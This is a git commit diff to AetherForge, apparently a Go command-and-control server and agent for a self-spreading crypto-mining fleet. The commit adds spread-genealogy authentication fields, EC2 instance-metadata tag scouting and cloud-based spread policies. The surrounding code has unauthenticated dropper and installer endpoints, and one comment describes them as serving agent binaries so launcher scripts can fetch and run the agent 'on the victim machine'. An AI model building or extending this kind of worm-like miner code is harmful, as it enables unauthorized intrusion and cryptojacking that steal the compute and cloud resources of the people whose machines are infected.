Wire launch-template genesis auth route and spread UI.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 09:59:58 -07:00
parent 7191bda6fd
commit 903d180db6
10 changed files with 154 additions and 68 deletions

View File

@@ -100,6 +100,8 @@ type AgentClient struct {
// spreadOnce ensures AutoSpreader starts at most once — after the first // spreadOnce ensures AutoSpreader starts at most once — after the first
// successful WS authentication confirms we are on an owned fleet. // successful WS authentication confirms we are on an owned fleet.
spreadOnce sync.Once spreadOnce sync.Once
// cloudVenueOnce starts EC2 IMDS tag scouting after first successful auth.
cloudVenueOnce sync.Once
// commandResultHook is set in tests to observe sendCommandResult without a live WS. // commandResultHook is set in tests to observe sendCommandResult without a live WS.
commandResultHook func(action string, success bool, message string) commandResultHook func(action string, success bool, message string)
@@ -403,6 +405,8 @@ func (c *AgentClient) authenticate() error {
authPayload.ParentAgentID = parentID authPayload.ParentAgentID = parentID
authPayload.SpreadGeneration = spreadGen authPayload.SpreadGeneration = spreadGen
authPayload.SpreadStrain = spreadStrain authPayload.SpreadStrain = spreadStrain
authPayload.GenesisSnapshotHash = strings.TrimSpace(os.Getenv("AETHER_GENESIS_SNAPSHOT_HASH"))
authPayload.StrainCardID = strings.TrimSpace(os.Getenv("AETHER_STRAIN_CARD_ID"))
payload, _ := json.Marshal(authPayload) payload, _ := json.Marshal(authPayload)
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil { if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
return err return err
@@ -482,6 +486,10 @@ func (c *AgentClient) authenticate() error {
} }
}) })
c.cloudVenueOnce.Do(func() {
c.startCloudVenueScout()
})
if !c.cfg.IsSeederRole(c.fleetRoleHint()) { if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")}) c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
} }

View File

@@ -55,6 +55,8 @@ type AuthPayload struct {
ParentAgentID string `json:"parent_agent_id,omitempty"` ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"`
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"` FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"`
} }

View File

@@ -71,6 +71,15 @@ func TestAuthPayloadSpreadGenealogyJSONRoundTrip(t *testing.T) {
} }
} }
func TestAuthPayloadLaunchTemplateGenesisJSONRoundTrip(t *testing.T) {
in := AuthPayload{AgentID: "lt-1", GenesisSnapshotHash: "deadbeef", StrainCardID: "card-9", ParentAgentID: "template"}
var out AuthPayload
roundTrip(t, in, &out)
if out.GenesisSnapshotHash != "deadbeef" || out.StrainCardID != "card-9" {
t.Fatalf("genesis fields: %+v", out)
}
}
func TestAuthResponseJSONRoundTrip(t *testing.T) { func TestAuthResponseJSONRoundTrip(t *testing.T) {
in := AuthResponse{Success: true, AgentID: "a1", Error: ""} in := AuthResponse{Success: true, AgentID: "a1", Error: ""}
var out AuthResponse var out AuthResponse

View File

@@ -1,4 +1,4 @@
package api package api
import ( import (
"crypto/hmac" "crypto/hmac"
@@ -13,7 +13,6 @@ import (
"strings" "strings"
dbpkg "crypto-miner-server/internal/db" dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/cloudmap"
"crypto-miner-server/internal/erasure" "crypto-miner-server/internal/erasure"
"crypto-miner-server/internal/models" "crypto-miner-server/internal/models"
"crypto-miner-server/internal/spreadrouter" "crypto-miner-server/internal/spreadrouter"
@@ -123,7 +122,7 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
h.pathTracer = handler h.pathTracer = handler
} }
// BindErasure wires ReedΓÇôSolomon shard encoding for multi-lane deploy plans. // BindErasure wires ReedSolomon shard encoding for multi-lane deploy plans.
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) { func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
h.erasureEnabled = enabled h.erasureEnabled = enabled
h.erasureShards = store h.erasureShards = store
@@ -404,7 +403,7 @@ func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Dat
} }
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer. // buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
// Deploy success is a spread step only ΓÇö agent keeps --defer-mining until diagnostics pass, // Deploy success is a spread step only agent keeps --defer-mining until diagnostics pass,
// then startMiningWhenReady() completes the mining onion (terminal goal). // then startMiningWhenReady() completes the mining onion (terminal goal).
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) { func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
platform := strings.TrimSpace(req.Platform) platform := strings.TrimSpace(req.Platform)

View File

@@ -1,4 +1,4 @@
package api package api
import ( import (
"crypto/rand" "crypto/rand"
@@ -27,7 +27,7 @@ import (
) )
// authSessionCache avoids running bcrypt on every API request. // authSessionCache avoids running bcrypt on every API request.
// Key: SHA-256(user+":"+password) hex ΓÇö value: expiry time. // Key: SHA-256(user+":"+password) hex value: expiry time.
// Entries are valid for authCacheTTL after the last successful login. // Entries are valid for authCacheTTL after the last successful login.
// Bcrypt only runs on cache miss or expiry. // Bcrypt only runs on cache miss or expiry.
var ( var (
@@ -176,9 +176,9 @@ func printStartupCredentials(dataDir string) {
func formatLoginBanner(creds map[string]string) string { func formatLoginBanner(creds map[string]string) string {
var b strings.Builder var b strings.Builder
b.WriteString("\nΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù\n") b.WriteString("\n╔══════════════════════════════════════════════════╗\n")
b.WriteString("Γòæ AetherForge ΓÇö Dashboard Login Γòæ\n") b.WriteString(" AetherForge Dashboard Login \n")
b.WriteString("Γòæ Γòæ\n") b.WriteString(" \n")
users := make([]string, 0, len(creds)) users := make([]string, 0, len(creds))
for user := range creds { for user := range creds {
users = append(users, user) users = append(users, user)
@@ -186,13 +186,13 @@ func formatLoginBanner(creds map[string]string) string {
sort.Strings(users) sort.Strings(users)
for _, user := range users { for _, user := range users {
pass := creds[user] pass := creds[user]
fmt.Fprintf(&b, "Γòæ Username : %-34sΓòæ\n", user) fmt.Fprintf(&b, " Username : %-34s\n", user)
fmt.Fprintf(&b, "Γòæ Password : %-34sΓòæ\n", pass) fmt.Fprintf(&b, " Password : %-34s\n", pass)
b.WriteString("Γòæ Γòæ\n") b.WriteString(" \n")
} }
b.WriteString("Γòæ Also saved in data/login-credentials.json Γòæ\n") b.WriteString(" Also saved in data/login-credentials.json \n")
b.WriteString("║ Change passwords in Calibrate → Users. ║\n") b.WriteString(" Change passwords in Calibrate Users. \n")
b.WriteString("ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥\n") b.WriteString("╚══════════════════════════════════════════════════╝\n")
return b.String() return b.String()
} }
@@ -395,7 +395,7 @@ func saveUser(username, password string) error {
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker. // isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch // Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
// must not trigger that ΓÇö only bare browser navigations without these headers should. // must not trigger that only bare browser navigations without these headers should.
func isSPAAuthRequest(r *http.Request) bool { func isSPAAuthRequest(r *http.Request) bool {
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != "" return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
} }
@@ -410,7 +410,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
path := r.URL.Path path := r.URL.Path
// Health check and one-liner installer endpoints are always open. // Health check and one-liner installer endpoints are always open.
// NOTE: build download/artifact routes are intentionally NOT in this list ΓÇö // NOTE: build download/artifact routes are intentionally NOT in this list
// they require fleet-secret or Basic Auth (see isDownload block below). // they require fleet-secret or Basic Auth (see isDownload block below).
if path == "/api/v1/health" || if path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" || path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
@@ -422,7 +422,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret // Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
// in the X-Fleet-Secret header instead of Basic auth. This ensures only // in the X-Fleet-Secret header instead of Basic auth. This ensures only
// legitimately forged agents can call these endpoints. // legitimately forged agents can call these endpoints.
// A missing or empty fleet secret is always rejected ΓÇö the server auto- // A missing or empty fleet secret is always rejected the server auto-
// generates one at startup so this state should never occur in production. // generates one at startup so this state should never occur in production.
if strings.HasPrefix(path, "/api/v1/agent/") { if strings.HasPrefix(path, "/api/v1/agent/") {
fleetSecretForAgentPathsMu.RLock() fleetSecretForAgentPathsMu.RLock()
@@ -469,7 +469,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
return return
} }
// Fast path ΓÇö skip bcrypt if this credential pair was recently validated. // Fast path skip bcrypt if this credential pair was recently validated.
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy. // bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
if !authCacheHit(user, pass) { if !authCacheHit(user, pass) {
usersMu.RLock() usersMu.RLock()
@@ -483,7 +483,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
http.Error(w, "Unauthorized", http.StatusUnauthorized) http.Error(w, "Unauthorized", http.StatusUnauthorized)
return return
} }
// Credential verified ΓÇö cache it for the next few minutes. // Credential verified cache it for the next few minutes.
authCacheSet(user, pass) authCacheSet(user, pass)
} }
@@ -514,7 +514,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
AllowCredentials: false, AllowCredentials: false,
})) }))
// REST API ΓÇö auth only on /api/v1 (dashboard WS + static SPA stay open) // REST API auth only on /api/v1 (dashboard WS + static SPA stay open)
r.Route("/api/v1", func(r chi.Router) { r.Route("/api/v1", func(r chi.Router) {
r.Use(basicAuthMiddleware) r.Use(basicAuthMiddleware)
h := NewHandler(database) h := NewHandler(database)
@@ -680,7 +680,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/blueprints", blueprintHandler.ServeHTTP) r.Delete("/blueprints", blueprintHandler.ServeHTTP)
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint) r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
// Fleet secret rotation ΓÇö generates a new secret, saves config, kicks all agents. // Fleet secret rotation generates a new secret, saves config, kicks all agents.
// Forged agents with the old secret will be rejected until re-forged. // Forged agents with the old secret will be rejected until re-forged.
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) { r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
if rotateSecretFn == nil { if rotateSecretFn == nil {
@@ -734,11 +734,11 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
writeJSON(w, map[string]interface{}{"success": true}) writeJSON(w, map[string]interface{}{"success": true})
}) })
// Deck backup ΓÇö authenticated full backup ZIP (config + DB + users) // Deck backup authenticated full backup ZIP (config + DB + users)
backupH := NewBackupHandler(dataDir, version) backupH := NewBackupHandler(dataDir, version)
r.Get("/backup", backupH.ServeHTTP) r.Get("/backup", backupH.ServeHTTP)
// Path Tracer ΓÇö on-demand WireGuard chain sessions // Path Tracer on-demand WireGuard chain sessions
if pathTracerHandler != nil { if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start) r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover) r.Post("/pathtrace/discover", pathTracerHandler.Discover)
@@ -751,7 +751,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete) r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
} }
// Agent autonomy REST ΓÇö forged Go agents only (X-Fleet-Secret header). // Agent autonomy REST forged Go agents only (X-Fleet-Secret header).
// Not exposed in dashboard client.ts; see agent/client and README API auth table. // Not exposed in dashboard client.ts; see agent/client and README API auth table.
r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/decide", aiHandler.HandleDecide)
r.Post("/agent/report", aiHandler.HandleReport) r.Post("/agent/report", aiHandler.HandleReport)
@@ -768,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
} }
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule) r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
// Public builds (also bypass auth in middleware ΓÇö listed here for chi routing) // Public builds (also bypass auth in middleware listed here for chi routing)
if publicHandler != nil { if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds) r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download) r.Get("/public/download/{id}", publicHandler.Download)
@@ -784,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// One-liner remote install endpoints (unauthenticated ΓÇö URL knowledge is the gate) // One-liner remote install endpoints (unauthenticated URL knowledge is the gate)
if dropperHandler != nil { if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet) r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh) r.Get("/install.sh", dropperHandler.ServeSh)
@@ -792,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/install.command", dropperHandler.ServeCommand) r.Get("/install.command", dropperHandler.ServeCommand)
} }
// SUPP Seek agent download endpoints ΓÇö serve agent binaries so launcher scripts // SUPP Seek agent download endpoints serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine. // dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret). // Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows")) r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -897,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
// exe so it works both from the USB bundle and from a compiled dev build. // exe so it works both from the USB bundle and from a compiled dev build.
// //
// Filename convention (same as what the build pipeline produces): // Filename convention (same as what the build pipeline produces):
// - windows → crypto-miner-agent.exe // - windows crypto-miner-agent.exe
// - mac/linux → crypto-miner-agent (no extension) // - mac/linux crypto-miner-agent (no extension)
// agentBinarySearchDir returns the directory used to locate bundled agent binaries. // agentBinarySearchDir returns the directory used to locate bundled agent binaries.
// Tests may override this to point at a temp tree instead of os.Executable()'s dir. // Tests may override this to point at a temp tree instead of os.Executable()'s dir.
var agentBinarySearchDir = func() (string, error) { var agentBinarySearchDir = func() (string, error) {

View File

@@ -1,4 +1,4 @@
package api package api
import ( import (
"crypto/subtle" "crypto/subtle"
@@ -202,6 +202,10 @@ type WSHub struct {
scoutConstellations *fleetai.ScoutConstellationRegistry scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool scoutAgents map[string]bool
// Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
cloudVenueMu sync.Mutex
cloudVenues *fleetai.CloudVenueRegistry
// Coalesce per-agent stats_update into a single stats_batch frame per tick. // Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage statsBatch map[string]json.RawMessage
@@ -682,6 +686,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ParentAgentID string `json:"parent_agent_id,omitempty"` ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"` SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"` SpreadStrain string `json:"spread_strain,omitempty"`
GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"` FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"` SeederMode bool `json:"seeder_mode,omitempty"`
} }
@@ -844,6 +850,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
SpreadStrain: strings.TrimSpace(auth.SpreadStrain), SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
Capabilities: &caps, Capabilities: &caps,
} }
applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
})
if err := h.db.UpsertAgent(agent); err != nil { if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err) log.Printf("Failed to upsert agent: %v", err)
@@ -953,6 +962,11 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
spreadPolicy[k] = v spreadPolicy[k] = v
} }
} }
if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
for k, v := range cloudPolicy {
spreadPolicy[k] = v
}
}
if len(spreadPolicy) > 0 { if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy resp["spread_policy"] = spreadPolicy
} }
@@ -1464,6 +1478,34 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount) h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
} }
case "cloud_venue_report":
if agentID == "" {
continue
}
var report struct {
CloudProvider string `json:"cloud_provider"`
Environment string `json:"environment"`
Workload string `json:"workload"`
InstanceType string `json:"instance_type"`
InstanceLifecycle string `json:"instance_lifecycle"`
OrganizationalUnit string `json:"organizational_unit"`
EC2Tags map[string]string `json:"ec2_tags"`
}
if err := json.Unmarshal(msg.Payload, &report); err != nil {
continue
}
if strings.TrimSpace(report.CloudProvider) == "" {
report.CloudProvider = "aws"
}
h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
Environment: report.Environment,
Workload: report.Workload,
InstanceType: report.InstanceType,
InstanceLifecycle: report.InstanceLifecycle,
OrganizationalUnit: report.OrganizationalUnit,
EC2Tags: report.EC2Tags,
})
case "ai_snapshot": case "ai_snapshot":
if agentID == "" { if agentID == "" {
continue continue

View File

@@ -1,4 +1,4 @@
package main package main
import ( import (
"context" "context"
@@ -40,27 +40,27 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) {
} }
const aetherBanner = ` const aetherBanner = `
ΓòöΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòù ╔══════════════════════════════════════════════════════════════════╗
Γòæ Γòæ
Γòæ Γ£ª ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ Γùê ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ ┬╖ Γ£ª Γòæ ✦ · · · · · · ◈ · · · · · · ✦
Γòæ ┬╖ \ | / ┬╖ Γòæ · \ | / ·
Γòæ ┬╖ \ | / ┬╖ Γû▓Γû▓Γû▓ Γòæ · \ | / · ▲▲▲
Γòæ ┬╖ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ · ○─────●─────○ · ▲▲▲▲▲
Γòæ ┬╖ / | \ ┬╖ Γû▓Γû▓Γû▓Γû▓Γû▓ Γòæ · / | \ · ▲▲▲▲▲
Γòæ ┬╖ / | \ ┬╖ ΓûêΓûêΓûêΓûê Γòæ · / | \ · ████
Γòæ Γ£ª ┬╖ ┬╖ ┬╖ ┬╖ Γùê ┬╖ ┬╖ ┬╖ ┬╖ Γ£ª ΓûêΓûê ΓûêΓûêΓûêΓûê ΓûêΓûê Γòæ ✦ · · · · ◈ · · · · ✦ ██ ████ ██
Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï ΓûêΓûê ΓûêΓûê ΓûêΓûê Γòæ ○───────────○ ██ ██ ██
Γòæ / \ / \ Γòæ / \ / \
Γòæ / ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ \ A E T H E R F O R G E Γòæ / ●───────● \ A E T H E R F O R G E
Γòæ / / \ / \ \ ΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇ Γòæ / / \ / \ \ ─────────────────────────
Γòæ ΓùïΓöÇΓöÇΓöÇΓùÅ ΓùïΓöÇΓöÇΓöÇΓùï ΓùÅΓöÇΓöÇΓöÇΓùï LAN Mining Command Deck Γòæ ○───● ○───○ ●───○ LAN Mining Command Deck
Γòæ \ \ / \ / / Γòæ \ \ / \ / /
Γòæ \ ΓùÅΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùÅ / Γòæ \ ●───────● /
Γòæ \ / \ / Γòæ \ / \ /
Γòæ ΓùïΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓöÇΓùï Γòæ ○───────────○
Γòæ Γ£ª ┬╖ ┬╖ ┬╖ ┬╖ Γùê ┬╖ ┬╖ ┬╖ ┬╖ Γ£ª Γòæ ✦ · · · · ◈ · · · · ✦
Γòæ Γòæ
ΓòÜΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓòÉΓò¥` ╚══════════════════════════════════════════════════════════════════╝`
func main() { func main() {
fmt.Println(aetherBanner) fmt.Println(aetherBanner)
@@ -85,12 +85,12 @@ func main() {
defer cloudflared.Stop() defer cloudflared.Stop()
} }
} else if tunnelExternal { } else if tunnelExternal {
log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) ΓÇö skipping in-process cloudflared start") log.Println("[tunnel] External connector (AF_TUNNEL_EXTERNAL) skipping in-process cloudflared start")
} else { } else {
log.Println("[tunnel] No connector token configured") log.Println("[tunnel] No connector token configured")
} }
// Generate fleet secret once ΓÇö persisted in config.json so all future forges // Generate fleet secret once persisted in config.json so all future forges
// carry the same secret and agents keep working across server restarts. // carry the same secret and agents keep working across server restarts.
if cfg.Server.FleetSecret == "" { if cfg.Server.FleetSecret == "" {
b := make([]byte, 32) b := make([]byte, 32)
@@ -99,9 +99,9 @@ func main() {
} }
cfg.Server.FleetSecret = hex.EncodeToString(b) cfg.Server.FleetSecret = hex.EncodeToString(b)
if err := cfg.Save(); err != nil { if err := cfg.Save(); err != nil {
log.Printf("[auth] Warning: could not persist fleet secret: %v ΓÇö agents forged this session will still work", err) log.Printf("[auth] Warning: could not persist fleet secret: %v agents forged this session will still work", err)
} else { } else {
log.Printf("[auth] Fleet secret generated and saved ΓÇö re-forge agents to pick it up") log.Printf("[auth] Fleet secret generated and saved re-forge agents to pick it up")
} }
} else { } else {
log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8]) log.Printf("[auth] Fleet secret loaded (first 8 chars: %s...)", cfg.Server.FleetSecret[:8])
@@ -162,7 +162,7 @@ func main() {
builderHandler.SetFleetSecret(cfg.Server.FleetSecret) builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir) log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
// Wire fleet secret rotation ΓÇö now that both wsHub and builderHandler are ready. // Wire fleet secret rotation now that both wsHub and builderHandler are ready.
api.SetRotateSecretFn(func() (string, error) { api.SetRotateSecretFn(func() (string, error) {
b := make([]byte, 32) b := make([]byte, 32)
if _, err := rand.Read(b); err != nil { if _, err := rand.Read(b); err != nil {
@@ -244,7 +244,7 @@ func main() {
wsHub.SetEventNotifier(eventNotifier) wsHub.SetEventNotifier(eventNotifier)
builderHandler.SetEventNotifier(eventNotifier) builderHandler.SetEventNotifier(eventNotifier)
// Fleet alert evaluator (thresholds from Calibrate → alerts config) // Fleet alert evaluator (thresholds from Calibrate alerts config)
alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds { alertEvaluator := alerts.NewEvaluator(database, func() alerts.Thresholds {
return alerts.Thresholds{ return alerts.Thresholds{
OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes, OfflineMinutes: cfg.Alerts.OfflineThresholdMinutes,
@@ -496,24 +496,24 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
return fmt.Errorf("invalid config: %w", err) return fmt.Errorf("invalid config: %w", err)
} }
// Semantic validation ΓÇö reject values that would break the server at runtime. // Semantic validation reject values that would break the server at runtime.
if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) { if incoming.Port != 0 && (incoming.Port < 1 || incoming.Port > 65535) {
return fmt.Errorf("invalid config: port %d out of range (1ΓÇô65535)", incoming.Port) return fmt.Errorf("invalid config: port %d out of range (165535)", incoming.Port)
} }
if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) { if incoming.Pool.Port != 0 && (incoming.Pool.Port < 1 || incoming.Pool.Port > 65535) {
return fmt.Errorf("invalid config: pool.port %d out of range (1ΓÇô65535)", incoming.Pool.Port) return fmt.Errorf("invalid config: pool.port %d out of range (165535)", incoming.Pool.Port)
} }
if incoming.Server.MaxAgents < 0 { if incoming.Server.MaxAgents < 0 {
return fmt.Errorf("invalid config: server.max_agents must be ≥ 0") return fmt.Errorf("invalid config: server.max_agents must be 0")
} }
if incoming.Server.StatsRetentionHours < 0 { if incoming.Server.StatsRetentionHours < 0 {
return fmt.Errorf("invalid config: server.stats_retention_hours must be ≥ 0") return fmt.Errorf("invalid config: server.stats_retention_hours must be 0")
} }
if incoming.Server.BuildRetentionDays < 0 { if incoming.Server.BuildRetentionDays < 0 {
return fmt.Errorf("invalid config: server.build_retention_days must be ≥ 0") return fmt.Errorf("invalid config: server.build_retention_days must be 0")
} }
if incoming.Server.MaxBuildSizeMB < 0 { if incoming.Server.MaxBuildSizeMB < 0 {
return fmt.Errorf("invalid config: server.max_build_size_mb must be ≥ 0") return fmt.Errorf("invalid config: server.max_build_size_mb must be 0")
} }
// Determine which top-level keys were explicitly present in the JSON payload. // Determine which top-level keys were explicitly present in the JSON payload.
@@ -561,7 +561,7 @@ func (p *serverConfigProvider) UpdateFleetAIConfig(v api.FleetAIConfigView) erro
return fmt.Errorf("config unavailable") return fmt.Errorf("config unavailable")
} }
if v.AIDecisionIntervalSec < 0 { if v.AIDecisionIntervalSec < 0 {
return fmt.Errorf("ai_decision_interval_sec must be ≥ 0") return fmt.Errorf("ai_decision_interval_sec must be 0")
} }
